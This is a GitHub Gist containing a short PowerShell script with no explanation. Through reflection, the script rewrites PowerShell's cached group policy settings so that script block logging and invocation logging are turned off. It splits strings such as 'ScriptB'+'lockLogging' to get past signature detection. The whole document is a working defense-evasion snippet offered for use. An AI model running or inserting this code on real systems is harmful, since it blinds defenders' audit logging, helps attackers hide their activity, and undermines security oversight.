Skip to content

Instantly share code, notes, and snippets.

@k4nfr3
Created August 27, 2021 09:16
Show Gist options
  • Save k4nfr3/4ab9c6f9cd77c181505f60d6a76396a8 to your computer and use it in GitHub Desktop.
Save k4nfr3/4ab9c6f9cd77c181505f60d6a76396a8 to your computer and use it in GitHub Desktop.
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment